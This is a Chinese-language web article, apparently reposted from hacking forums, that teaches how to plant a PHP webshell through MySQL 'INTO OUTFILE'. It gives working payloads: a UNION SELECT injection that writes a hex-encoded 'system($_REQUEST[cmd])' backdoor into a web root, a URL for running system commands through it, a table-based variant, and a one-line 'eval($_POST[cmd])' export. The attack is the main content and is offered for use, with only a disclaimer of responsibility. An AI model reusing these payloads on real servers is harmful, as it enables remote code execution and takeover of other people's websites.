咳咳,大家看看就好了,本人不負責所產生的后果
代碼如下:
SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'
通過Mysql 的注入或者在 phpmyadmin 里運行以上語句,則會C:/inetpub/wwwroot/下生成 cmd.php 文件,內容為原來的 vbb_strikes 內容,后面緊跟著:2 3 <?php system($_REQUEST[cmd]);?>
再通過 http://www.xxx.com/cmd.php?cmd=dir c: 就可以執行系統DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么東西?
就是<?php system($_REQUEST[cmd]);?>的十六進制編碼了,如果不用這種方法,有不同的SQL版本會出現其它的編碼:如%xx之類的, 哪這個后門就不能執行的了!如果你有其它語名要弄,可以到UltraEdit里輸入,再按[Ctrl+H]鍵,將里面的十六進制連在一起就可以了!
淺談MySQL導出一句話木馬拿WebShell的方法-只需要一句SQL
昨天看一篇文章中說到MySQL導出一句話木馬拿WebShell的方法。
文章中用到的SQL語句大體如下(命令行或者其它能執行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一個cmd字段
Insert INTO temp (cmd) VALUES(''); //把一句話木馬插入到temp表
Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查詢temp表中的一句話并把結果導入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)
這幾句SQL很簡單,我做了簡單的注釋。
不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然后返回的頁面中可能會出現1~12之間的數字。這里加入數字3顯示出來了。
如果我們把上面這句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句后面不帶from table語句的話,我們說查詢的數字或字符會直接返回到查詢結果里。
既然這樣,我們為何還要那么麻煩去建一個表,先導入數據,再導出這樣折騰呢。
有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
這樣做不但簡單明了,而且避免了誤刪別人的數據。以上所述就是本文的全部內容了,希望大家能夠喜歡。
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com